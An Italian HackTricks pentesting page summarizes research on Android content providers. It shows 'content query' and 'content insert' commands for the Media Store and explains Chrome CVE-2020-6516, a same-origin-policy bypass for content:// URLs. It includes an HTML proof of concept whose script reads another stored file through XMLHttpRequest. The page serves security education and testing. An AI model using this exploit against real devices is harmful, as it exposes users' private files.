hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

6.1 KiB

{% hint style="success" %} Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

Questo è un riassunto del post https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Elenco dei file nel Media Store

Per elencare i file gestiti dal Media Store, può essere utilizzato il comando seguente:

$ content query --uri content://media/external/file

Per un output più comprensibile, visualizzando solo l'identificatore e il percorso di ciascun file indicizzato:

$ content query --uri content://media/external/file --projection _id,_data

I provider di contenuti sono isolati nel loro namespace privato. L'accesso a un provider richiede l'URI specifico content://. Le informazioni sui percorsi per accedere a un provider possono essere ottenute dai manifest delle applicazioni o dal codice sorgente del framework Android.

Accesso di Chrome ai Provider di Contenuti

Chrome su Android può accedere ai provider di contenuti tramite lo schema content://, consentendogli di accedere a risorse come foto o documenti esportati da applicazioni di terze parti. Per illustrare questo, un file può essere inserito nel Media Store e poi accesso tramite Chrome:

Inserisci un'entrata personalizzata nel Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Scopri l'identificatore del file appena inserito:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Il file può quindi essere visualizzato in Chrome utilizzando un URL costruito con l'identificatore del file.

Ad esempio, per elencare i file relativi a un'applicazione specifica:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Bypass della Same-Origin-Policy

La Same Origin Policy (SOP) è un protocollo di sicurezza nei browser che limita le pagine web dall'interagire con risorse provenienti da origini diverse, a meno che non sia esplicitamente consentito da una politica di Cross-Origin-Resource-Sharing (CORS). Questa politica mira a prevenire perdite di informazioni e attacchi di cross-site request forgery. Chrome considera content:// come uno schema locale, implicando regole SOP più severe, dove ogni URL di schema locale è trattato come un'origine separata.

Tuttavia, CVE-2020-6516 era una vulnerabilità in Chrome che consentiva un bypass delle regole SOP per le risorse caricate tramite un URL content://. Di fatto, il codice JavaScript da un URL content:// poteva accedere ad altre risorse caricate tramite URL content://, il che rappresentava una significativa preoccupazione per la sicurezza, specialmente sui dispositivi Android che eseguivano versioni precedenti ad Android 10, dove lo storage scoping non era implementato.

La prova di concetto qui sotto dimostra questa vulnerabilità, dove un documento HTML, dopo essere stato caricato sotto /sdcard e aggiunto al Media Store, utilizza XMLHttpRequest nel suo JavaScript per accedere e visualizzare i contenuti di un altro file nel Media Store, eludendo le regole SOP.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}